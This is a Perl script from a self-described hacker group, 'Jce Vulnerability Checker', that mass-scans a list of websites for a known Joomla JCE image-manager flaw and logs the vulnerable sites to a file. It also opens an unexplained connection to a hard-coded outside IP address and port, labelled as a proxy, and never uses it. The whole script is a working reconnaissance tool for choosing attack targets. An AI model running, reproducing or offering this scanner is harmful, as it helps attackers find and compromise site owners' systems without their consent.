Jce Vulnerability Checker

#!/usr/bin/perl
######################################################################################
#  Gr33tz TO ALL MEmber Of 3xp1r3 Cyber Army                                           #
#  Gr33tz to Xeo-1337 ;Sir 3xp1p3 , No PM , llûmïnåté Ðëmøñ , Res-X , Force X ; and all my friend  #
######################################################################################

use HTTP::Request;
use LWP::Simple;
use LWP::UserAgent;
use IO::Socket::INET;


if ($^O =~ /MSWin32/) {system("cls"); system("color a");
}else { system("clear"); }
print "\n\t [+]------Sample-Checker-for-jce-Vulnerability-------------[+]\n";
print "\t [!]      Dev by 1337 Brain From 3xp1r3 Cyber Army              [!]\n";
print "\t [!]      result in jce_checker.txt                        [!]\n";
print "\t [!]      Proxy From Germany Added                         [!]\n";
print "\t [+]-------------------------------------------------------[+]\n";
print "\n\n\t.Usage : perl $0  list.txt.\n\n";

open(tarrget,"<$ARGV[0]") or die "$!";
while(<tarrget>){
chomp($_);
$target = $_;
if($target !~ /http:\/\//)
{
$target = "http://$target";
}

$website = $target."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743";
$ua = IO::Socket::INET->new(
        PeerAddr => '46.165.193.67',
        PeerPort => '7580',
        Proto    => 'tcp'
    );
$req=HTTP::Request->new(GET=>$website);
$ua=LWP::UserAgent->new();
$ua->timeout(30);
$response=$ua->request($req);
if($response->content=~ /{"result":null,"error":"No function call specified!"}/ )

 {
 $Messageee ="Jce VUlnerability Detected !";
open (TEXT, '>>jce_checker.txt');
print TEXT "$target\n";
close (TEXT);
}
else {
$Messageee = "FAil not Vuln";
}
print "[+] $target => $Messageee\n";
}